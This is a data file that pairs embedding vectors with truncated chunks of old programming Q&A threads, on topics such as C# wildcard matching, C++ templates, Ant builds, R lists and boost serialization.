[ 0.23642151057720184, -0.2360876351594925, 0.6725772619247437, -0.0845964327454567, 0.18546171486377716, -0.23151494562625885, 0.49562397599220276, -0.34319448471069336, -0.29072892665863037, -0.5553632378578186, -0.2671884000301361, 0.5619229078292847, -0.6293826699256897, 0.17166075110435...
= myLogText; })); ```
[ -0.16984176635742188, 0.11343621462583542, 0.5483691096305847, -0.38946688175201416, 0.3974706828594208, -0.31825587153434753, 0.4362941086292267, 0.09954096376895905, 0.12232755869626999, -0.40906769037246704, -0.581522524356842, 0.4857836961746216, -0.4187174439430237, 0.3672018349170685...
I've got a Mac server and I'm building PHP code to allow users to upload images, documents, and even video files. Researching this has definitely gotten me nervous, I want the uploaded content to be virus free. Is building something myself going to be a huge challenge? Would you do it, or would you find some OS or OT...
[ 0.6711976528167725, 0.3250347375869751, 0.0007272303919307888, 0.29269587993621826, -0.05075730383396149, -0.20964787900447845, 0.22433283925056458, 0.29482150077819824, -0.34058770537376404, -0.5685036182403564, 0.40299829840660095, 0.4185311198234558, -0.14148227870464325, -0.01166241057...
things like images and videos can't really have "viruses" (unless the viewer application is really poor and lets them run code somehow - also known as "Internet Explorer"), but it's not really difficult to virus-scan them anyway if you'd like to. Just find a command-line scanner that can run on the server (something li...
[ 0.599276602268219, 0.1367841511964798, 0.10970388352870941, 0.29187262058258057, 0.22883889079093933, -0.5583521127700806, 0.4457862079143524, 0.44835132360458374, -0.7109457850456238, -0.6442332863807678, -0.3138858377933502, 0.29092833399772644, -0.18051356077194214, 0.07419919222593307,...
I have two models: releases have many elements, and elements belong to releases. The action I wish to define imports all elements (making copies of them all) from one release into another release. How do I determine if this action belongs as a member action on the releases controller, or a collection action on the el...
[ 0.33980193734169006, -0.1018834337592125, -0.1220012754201889, -0.018497074022889137, 0.021856240928173065, 0.020095400512218475, -0.16072794795036316, -0.46678030490875244, -0.4506368637084961, 0.04688183218240738, -0.16995090246200562, 0.3756771683692932, -0.36719489097595215, 0.19161677...
elements, it seems to be a release operation rather than an element operation.
[ 0.011868081986904144, -0.09568390995264053, -0.005230244714766741, -0.12926214933395386, 0.05731354281306267, -0.35596415400505066, -0.10126553475856781, -0.38205641508102417, -0.25637754797935486, 0.12381773442029953, -0.35109299421310425, 0.32261306047439575, -0.4870987832546234, 0.16224...
When implementing something that implements IDictionary, what should I unit test? It seems to be overkill to test the entire interface, but then what do I know? I have only been unit testing for a few days... Every public member of your IDictionary should be tested. You should also set up some tests to ensure that yo...
[ 0.6911406517028809, 0.005874323192983866, 0.04780179634690285, -0.2761732339859009, 0.20138689875602722, -0.08519068360328674, 0.5513980984687805, -0.5978481769561768, 0.0628686398267746, -0.6063072085380554, 0.04952692613005638, 0.5897152423858643, -0.4560464918613434, 0.00872230529785156...
badValue = "Horse"; a.Add(key, value); b.Add(key, value); Assert.That(a.Count, Is.EqualTo(b.Count)); Assert.That(a.Contains(key), Is.EqualTo(b.Contains(key))); Assert.That(a.ContainsKey(key), Is.EqualTo(b.ContainsKey(key))); Assert.That(a.ContainsValue(value), Is.EqualTo(b.ContainsValue(value)...
[ 0.19232051074504852, 0.00112255965359509, 0.30196723341941833, -0.41091692447662354, -0.05118110403418541, 0.3439326882362366, 0.6638594269752502, -0.8810888528823853, 0.0006068978691473603, -0.34879469871520996, 0.08394555747509003, 0.7778911590576172, -0.5836339592933655, 0.1951123028993...
When I do `sizeof(int)` in my C#.NET project I get a return value of 4. I set the project type to x64, so why does it say 4 instead of 8? Is this because I'm running managed code? There are [various 64-bit data models](http://en.wikipedia.org/wiki/64-bit); Microsoft uses [LP64](https://en.wikipedia.org/wiki/64-bit_comp...
[ 0.05125996842980385, 0.0810159221291542, 0.22288452088832855, -0.0808061882853508, -0.12271838635206223, -0.002637959783896804, 0.08691593259572983, -0.11484525352716446, -0.4122084379196167, -0.45600852370262146, -0.050385069102048874, 0.4673081636428833, -0.28251391649246216, 0.000393599...
in the names of the underlying types `System.Int32` and `System.Int64`.
[ -0.38246387243270874, 0.1172192394733429, -0.034068696200847626, -0.29254597425460815, 0.04403276741504669, 0.41954806447029114, 0.03654753416776657, -0.10733924806118011, -0.15393346548080444, -0.42390504479408264, -0.32040080428123474, 0.3179420232772827, -0.26993754506111145, 0.11046249...
Simple question, is it possible to achieve this query this with Entity Framework when updating one entity? ``` update test set value = value + 1 where id = 10 ``` Not really under this form no. You will have to select all entities that match your criteria, foreach over them and update them. If you are looking for s...
[ 0.28037187457084656, 0.1488991379737854, 0.21867363154888153, 0.1042734757065773, -0.22349947690963745, -0.15255612134933472, 0.06740584969520569, -0.5212140083312988, 0.060852330178022385, -0.6317297220230103, -0.0721663385629654, 0.5539858341217041, -0.24413350224494934, 0.06747384369373...
I've got a wildcard pattern, perhaps "\*.txt" or "POS??.dat". I also have list of filenames in memory that I need to compare to that pattern. How would I do that, keeping in mind I need exactly the same semantics that IO.DirectoryInfo.GetFiles(pattern) uses. EDIT: Blindly translating this into a regex will NOT work...
[ 0.23189181089401245, -0.062060266733169556, 0.2398766726255417, 0.1591593474149704, 0.306974321603775, -0.08048204332590103, 0.42890962958335876, 0.20030680298805237, -0.10666415840387344, -0.7294918894767761, 0.057778336107730865, 0.42214906215667725, -0.16473083198070526, 0.1474273055791...
name of each string you have in the input array, and then add the long name to the collection of matches if either the long or short name matches the pattern. Here is the code: ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; namespace Fi...
[ 0.18066751956939697, -0.22035250067710876, 0.5338239669799805, -0.36484670639038086, 0.24498677253723145, 0.19621296226978302, 0.055801134556531906, -0.019802968949079514, -0.21205072104930878, -0.4218544363975525, -0.46049389243125916, 0.6170958876609802, -0.5403779745101929, 0.3357104361...
string[] matches; matches = FindFilesEmulator("hello.tx", names); matches = FindFilesEmulator("H*o*.???", names); matches = FindFilesEmulator("hello.txt", names); matches = FindFilesEmulator("lskfjd30", names); } public string[] FindFilesEmulator(string p...
[ -0.312725692987442, -0.07256560772657394, 0.3577236831188202, -0.3064749836921692, 0.3054405450820923, 0.23940424621105194, 0.057105544954538345, -0.036690354347229004, -0.11809562146663666, -0.3964460492134094, -0.38944926857948303, 0.31014877557754517, -0.44592908024787903, 0.00369879999...
List<string> matches = new List<string>(); Regex regex = FindFilesPatternToRegex.Convert(pattern); foreach (string s in names) { if (regex.IsMatch(s)) {
[ 0.02012135088443756, -0.42419013381004333, 0.4337122440338135, -0.3425832986831665, 0.14156363904476166, -0.04258463531732559, 0.3150608241558075, -0.6666486859321594, -0.14923390746116638, -0.6509724855422974, -0.420818567276001, 0.35409605503082275, -0.5352411270141602, -0.12551443278789...
matches.Add(s); } } return matches.ToArray(); } internal static class FindFilesPatternToRegex { private static Regex HasQuestionMarkRegEx = new Regex(@"\?", RegexOptions.Compiled);
[ -0.17182698845863342, -0.19338439404964447, 0.43461447954177856, -0.14718301594257355, 0.17866849899291992, -0.19147616624832153, 0.21873150765895844, -0.3439650535583496, 0.037426888942718506, -0.6231849193572998, -0.313401997089386, 0.6558029055595398, -0.5365955829620361, 0.063256986439...
private static Regex IllegalCharactersRegex = new Regex("[" + @"\/:<>|" + "\"]", RegexOptions.Compiled); private static Regex CatchExtentionRegex = new Regex(@"^\s*.+\.([^\.]+)\s*$", RegexOptions.Compiled); private static string NonDotCharacters = @"[^.]*"; public static Reg...
[ 0.0824044719338417, -0.5522836446762085, 0.1730089783668518, 0.1144513264298439, 0.1668982058763504, 0.16286033391952515, 0.5919629335403442, -0.2564770579338074, -0.3587203025817871, -0.026986995711922646, -0.3910726010799408, 0.5969157814979553, -0.8172855973243713, 0.1483965665102005, ...
if (pattern == null) { throw new ArgumentNullException(); } pattern = pattern.Trim(); if (pattern.Length == 0)
[ 0.061630286276340485, -0.49464157223701477, 0.17303109169006348, -0.33281928300857544, 0.12640632688999176, 0.11162097007036209, 0.35851404070854187, -0.41775211691856384, -0.012154972180724144, -0.5873547196388245, -0.10379079729318619, 0.5405909419059753, -0.312207967042923, -0.039751891...
{ throw new ArgumentException("Pattern is empty."); } if(IllegalCharactersRegex.IsMatch(pattern)) {
[ 0.08688110113143921, -0.1713099479675293, -0.00841878354549408, -0.19674302637577057, 0.3357506990432739, -0.18886440992355347, 0.4966541826725006, -0.37527209520339966, -0.30674538016319275, -0.1416700929403305, -0.16398507356643677, 0.36003056168556213, -0.6018400192260742, -0.0296729113...
throw new ArgumentException("Pattern contains illegal characters."); } bool hasExtension = CatchExtentionRegex.IsMatch(pattern); bool matchExact = false; if (HasQuestionMarkRegEx.IsMatch(pattern)) {
[ 0.026355240494012833, -0.2716992199420929, 0.11279536783695221, -0.3267643451690674, 0.14424969255924225, -0.17868037521839142, 0.44100964069366455, -0.4252781867980957, 0.012498144991695881, -0.3512536585330963, -0.20574814081192017, 0.4096665680408478, -0.4186525344848633, -0.12872974574...
matchExact = true; } else if(hasExtension) { matchExact = CatchExtentionRegex.Match(pattern).Groups[1].Length != 3;
[ 0.19912070035934448, -0.6265838146209717, 0.552614688873291, -0.31272372603416443, 0.21961313486099243, -0.3531622886657715, 0.31072357296943665, -0.6260831952095032, 0.053111568093299866, -0.41585326194763184, -0.032715748995542526, 0.3848705291748047, -0.5824472904205322, -0.026341706514...
} string regexString = Regex.Escape(pattern); regexString = "^" + Regex.Replace(regexString, @"\\\*", ".*"); regexString = Regex.Replace(regexString, @"\\\?", "."); if(!matchExact && hasExtension)
[ -0.22585168480873108, -0.3884724974632263, 0.48642653226852417, -0.3104225695133209, 0.564100444316864, -0.10647289454936981, 0.28190234303474426, -0.4171161949634552, 0.07276908308267593, -0.5221164226531982, -0.3841104805469513, 0.6434057950973511, -0.6755135655403137, -0.066729210317134...
{ regexString += NonDotCharacters; } regexString += "$"; Regex regex = new Regex(regexString, RegexOptions.Compiled | RegexOptions.IgnoreCase); return
[ 0.03215542063117027, -0.11468229442834854, 0.3661191761493683, -0.0023891704622656107, 0.24112063646316528, 0.2737412452697754, 0.5620056390762329, -0.18366633355617523, -0.216121643781662, -0.19682623445987701, -0.46498724818229675, 0.5932196378707886, -0.4090878665447235, 0.2317014634609...
regex; } } } } ```
[ -0.24633342027664185, 0.09374499320983887, 0.2664563059806824, -0.21374599635601044, 0.3421797752380371, -0.12207029014825821, 0.20047982037067413, 0.3256416916847229, 0.03730640932917595, -0.3219328820705414, -0.4608386158943176, 0.8808057308197021, -0.43371328711509705, 0.329794466495513...
The reason is long and boring, but I need to run an Ant script to compile Java 1.5 code from a Java 1.4 app. I keep getting this error, though: ``` BUILD FAILED build.xml:16: Unable to find a javac compiler; com.sun.tools.javac.Main is not on the classpath. Perhaps JAVA_HOME does not point to the JDK. It is currently...
[ 0.12433058768510818, 0.30702435970306396, 0.4507504403591156, -0.487140953540802, 0.05065577104687691, -0.0006348518072627485, 0.5561531782150269, -0.2682879865169525, -0.32868000864982605, -0.8106861710548401, -0.10244769603013992, 0.3937748074531555, -0.4341922402381897, 0.23704984784126...
in your buildfile have `fork="yes"`? If not, then it doesn't matter what the `java.home` property is set to; ant will attempt to call the javac `Main` method in the same java process, which from your error is a JRE, not a JDK. **EDIT** Try setting the `executable` property of your javac task to the full path to the `j...
[ 0.14330975711345673, 0.1496283859014511, 0.14718039333820343, -0.26170971989631653, 0.17623084783554077, -0.11393355578184128, 0.4990733861923218, -0.18255378305912018, 0.008049759082496166, -0.9443259239196777, -0.05458580702543259, 0.5154114365577698, -0.3105242848396301, 0.0957185477018...
We're using CruiseControl.NET for our build server and Subversion for source control. Our IT guy suggested putting these together on one virtual machine. For some reason that smells funny to me, but I can't explain why. It seems like the source control server is a lot less "transient" of a server than a build server. D...
[ 0.601340651512146, -0.02695915475487709, 0.40274640917778015, 0.30044499039649963, 0.25859344005584717, -0.06965279579162598, -0.2854752540588379, 0.34553977847099304, -0.37860584259033203, -0.43996670842170715, 0.4220089912414551, 0.7937120199203491, 0.09937745332717896, 0.121220186352729...
server on one box? Your Subversion repository holding machine should be treated with great respect given the central position it holds within a development environment. It should have as little change going on as possible to ensure stability. A build server can have a degree of churn as different projects are built, w...
[ 0.5842069983482361, 0.09584548324346542, -0.36082565784454346, 0.2519289553165436, -0.0601855106651783, -0.06724922358989716, -0.03061726503074169, -0.12345864623785019, -0.17247888445854187, -0.29429879784584045, 0.07683013379573822, 0.26101845502853394, -0.4558700919151306, 0.17892029881...
for a controlled development environment.
[ 0.025797847658395767, -0.06943684071302414, -0.4154902696609497, -0.01099495217204094, 0.6150931715965271, -0.07956148684024811, -0.006211826577782631, -0.15402287244796753, 0.12805858254432678, -0.53092360496521, -0.4293400049209595, 0.5021201372146606, 0.09054052084684372, -0.05941315740...
I was wondering if anyone knew of a scrollable gridview control that works similar to the yahoo email gridview. ![alt text](https://ruturajv.files.wordpress.com/2006/10/yahoo-mail-ajax.gif) If you are using jquery I recommend [jqgrid](http://www.trirand.com/blog/). There is a nice grid component in [extjs](http://ext...
[ 0.3144240379333496, -0.3124317228794098, 0.17789240181446075, 0.2266540676355362, -0.19701261818408966, -0.18916703760623932, -0.030825207009911537, 0.32599249482154846, -0.03695528581738472, -0.7926027178764343, 0.29425913095474243, 0.5335369110107422, -0.046270452439785004, 0.05471889302...
What is the best method for communication between Flex and PHP? In the past, we used AMFPHP with AS2, and it worked great for the most part (advantage of AMFPHP is that it also has a JSON mode that can let you seamlessly use the same remote PHP with either Javascript or Actionscript frontends). However, it seems lik...
[ 0.23425398766994476, -0.16283655166625977, 0.38845837116241455, -0.09408847987651825, -0.4708068072795868, 0.017406603321433067, 0.06674323230981827, -0.4182274043560028, -0.3704271614551544, -0.7957784533500671, 0.19017620384693146, 0.46277695894241333, -0.2209705263376236, -0.26173225045...
seems fairly stable, but not sure on long-term support) 3. **XML** (AS3 has nice XML handling routines, but it's more of a pain on the PHP side) 4. **[WebORB](http://www.themidnightcoders.com/products/weborb-for-php)** (I have no experience with this) 5. **Roll-our-own** using JSON or some other data-to-text serializat...
[ 0.322893351316452, -0.15843838453292847, 0.34836968779563904, 0.09356463700532913, -0.4395325183868408, -0.37954896688461304, 0.2999073266983032, 0.05561504140496254, -0.38327646255493164, -0.7270951271057129, -0.15712960064411163, 0.513397753238678, -0.013713070191442966, -0.2402742356061...
Watch the introduction tutorial on [GotoAndLearn](http://gotoandlearn.com/play?id=90), it's quite simple. And just so you know, [some of the developers](http://framework.zend.com/wiki/display/ZFPROP/Zend_Amf+-+Wade+Arnold) from AMFPHP moved to work on ZendAMF. So in a sense, ZendAMF is the continuation of AMFPHP.
[ 0.14221155643463135, -0.04465726763010025, 0.3520899713039398, -0.2836054861545563, -0.04769750311970711, -0.5533404350280762, -0.10088615864515305, -0.4303567707538605, -0.3244543671607971, -0.27599841356277466, -0.19656848907470703, 0.2575695216655731, -0.2992691397666931, 0.039190430194...
I have a list and I want to remove a single element from it. How can I do this? I've tried looking up what I think the obvious names for this function would be in the reference manual and I haven't found anything appropriate. I don't know R at all, but a bit of creative googling led me here: [<http://tolstoy.newcastle...
[ 0.08448292315006256, 0.22271542251110077, 0.41108790040016174, -0.08670758455991745, -0.2628072500228882, 0.03456593677401543, 0.3306102752685547, -0.5966580510139465, -0.5498945116996765, -0.31103846430778503, -0.37013962864875793, 0.08291199803352356, -0.3461158275604248, 0.4677534997463...
hole caused by deletion of that element. That suffles the index values, So I have to be careful in dropping elements. I must work from the back of the list to the front. A [response to that post later in the thread](http://tolstoy.newcastle.edu.au/R/help/05/04/1917.html) states: > For deleting an element of a list, s...
[ 0.004926495254039764, 0.08762656152248383, 0.16292311251163483, -0.30958038568496704, 0.013510894030332565, 0.12071682512760162, 0.4866127073764801, -0.374935120344162, -0.5432820320129395, -0.2963589131832123, -0.3218351900577545, 0.08159436285495758, -0.5630677342414856, 0.46322762966156...
you in the right direction.
[ -0.033805716782808304, 0.17505770921707153, 0.09959570318460464, -0.34086766839027405, -0.36943238973617554, 0.20243732631206512, 0.3124401271343231, 0.510064959526062, -0.13159236311912537, -0.6285532712936401, 0.15022051334381104, 0.2263181060552597, 0.1541384905576706, -0.2099609375, ...
I'm trying to use a typedef from a subclass in my project, I've isolated my problem in the example below. Does anyone know where I'm going wrong? ``` template<typename Subclass> class A { public: //Why doesn't it like this? void action(typename Subclass::mytype var) { (static_cast<Subc...
[ 0.24623262882232666, -0.07306205481290817, 0.1045728325843811, -0.2550487816333771, 0.028986359015107155, 0.015385185368359089, 0.46231526136398315, -0.27606236934661865, -0.10190389305353165, -0.5395029783248901, -0.16062363982200623, 0.43005940318107605, -0.491612046957016, 0.25065746903...
B() {} void do_action(mytype var) { // Do stuff } }; int main(int argc, char** argv) { B myInstance; return 0; } ``` This is the output I get: ``` sean@SEAN-PC:~/Documents/LucadeStudios/experiments$ g++ -o test test.cpp test.cpp: In instantiation of ‘A<B>’: test.cpp:10: instan...
[ 0.5099376440048218, 0.12884384393692017, -0.08854372054338455, -0.37248197197914124, 0.15412260591983795, 0.07179387658834457, 0.5742965936660767, -0.46067991852760315, -0.08993030339479446, -0.19664737582206726, -0.28721970319747925, 0.317455530166626, -0.45913341641426086, 0.057807169854...
its member functions are instantiated too. The class template is instantiated precisely when the full definition of a specialization is required. That is the case when it is used as a base class for example, as in your case. So what happens is that `A<B>` is instantiated at ``` class B : public A<B> ``` at which ...
[ -0.2133006751537323, -0.43789976835250854, 0.2261963188648224, -0.07622561603784561, 0.008257627487182617, -0.21989068388938904, 0.22476999461650848, -0.04180844500660896, -0.2208557426929474, -0.6575581431388855, -0.30392223596572876, 0.298729807138443, -0.39275887608528137, 0.20758198201...
at which `B` is complete. One way of doing this is to modify the declaration of `action` to make it a member template. ``` template<typename T> void action(T var) { (static_cast<Subclass*>(this))->do_action(var); } ``` It is still type-safe because if `var` is not of the right type, passing `var` to `do_action` ...
[ 0.26654261350631714, -0.004752952139824629, 0.07959768176078796, -0.5730174779891968, 0.09072451293468475, -0.26922762393951416, 0.49165377020835876, -0.6366312503814697, -0.13397793471813202, -0.2692854702472687, -0.43293264508247375, 0.6176744103431702, -0.42597347497940063, 0.1046048998...
Can a class extend both an interface and another class in PHP? Basically I want to do this: ``` interface databaseInterface{ public function query($q); public function escape($s); //more methods } class database{ //extends both mysqli and implements databaseInterface //etc. } ``` How would one do this, simpl...
[ -0.22728189826011658, 0.017957337200641632, 0.31781843304634094, -0.033689867705106735, -0.07601741701364517, -0.15051108598709106, 0.3461238145828247, -0.40479734539985657, 0.15120214223861694, -0.8148467540740967, 0.06493940949440002, 0.6403378248214722, -0.4773154556751251, 0.0430567190...
Is there a better way of simultaneously inserting and extending a list? Here is an ugly example of how I'm currently doing it. (lets say I want to insert '2.4' and '2.6' after the '2' element): ``` >>> a = ['1', '2', '3', '4'] >>> b = a[:a.index('2')+1] + ['2.4', '2.6'] + a[a.index('2'):] >>> b <<< ['1', '2', '2.4', '...
[ 0.09753284603357315, 0.07606235146522522, 0.253423810005188, -0.09351902455091476, 0.005373279098421335, 0.3811423182487488, 0.14236056804656982, -0.5923494696617126, -0.4006572663784027, -0.5197933316230774, -0.011953328736126423, 0.43341004848480225, -0.27875828742980957, -0.013509204611...
I have a data structure that looks like this: ``` typedef struct { unsigned short m_short1; unsigned short m_short2; unsigned char m_character; } MyDataType; ``` I want to use boost::serialization to serialize this data structure, then use boost::asio to transmit it via TCP/IP, then have another application r...
[ 0.3677184581756592, 0.19724133610725403, 0.3391578197479248, 0.05979888513684273, -0.03287781774997711, -0.17577572166919708, 0.1795688420534134, -0.08328678458929062, -0.3464113771915436, -0.6155533790588379, -0.17004017531871796, 0.47341665625572205, -0.19262976944446564, 0.0945328474044...
work together. Writing to a socket can't be that different from writing to a file, right? Any suggestions are very much appreciated. Thanks! For such simple structure, boost::serialization is overkill and huge overhead. Do simpler: ``` vector<uint16_t> net(3,0); net[0]=htons(data.m_short1); net[1]=htons(data.m_shor...
[ 0.15168994665145874, -0.09364742785692215, 0.2474534660577774, 0.015895316377282143, -0.10429234057664871, 0.051133621484041214, 0.25387948751449585, -0.5366111993789673, -0.2650637626647949, -0.9275287389755249, -0.2368321716785431, 0.5107399225234985, -0.31953150033950806, -0.09111432731...
Here is a scenario: I am embedding form.swf in <http://somesite.com/page.html>. The SWF is loaded from <https://example.com/form.swf> and submits to <https://example.com/secureform.php>. So, is the transmission to the server secure? It depends what you mean by secure. I think you are asking whether the submitted data...
[ 0.3953242897987366, -0.045321106910705566, 0.7441715598106384, -0.07399524003267288, -0.32313230633735657, -0.2230207771062851, 0.15007047355175018, -0.02404257468879223, -0.13024656474590302, -0.6153045892715454, -0.4760438799858093, 0.37562432885169983, -0.21240703761577606, 0.0301060955...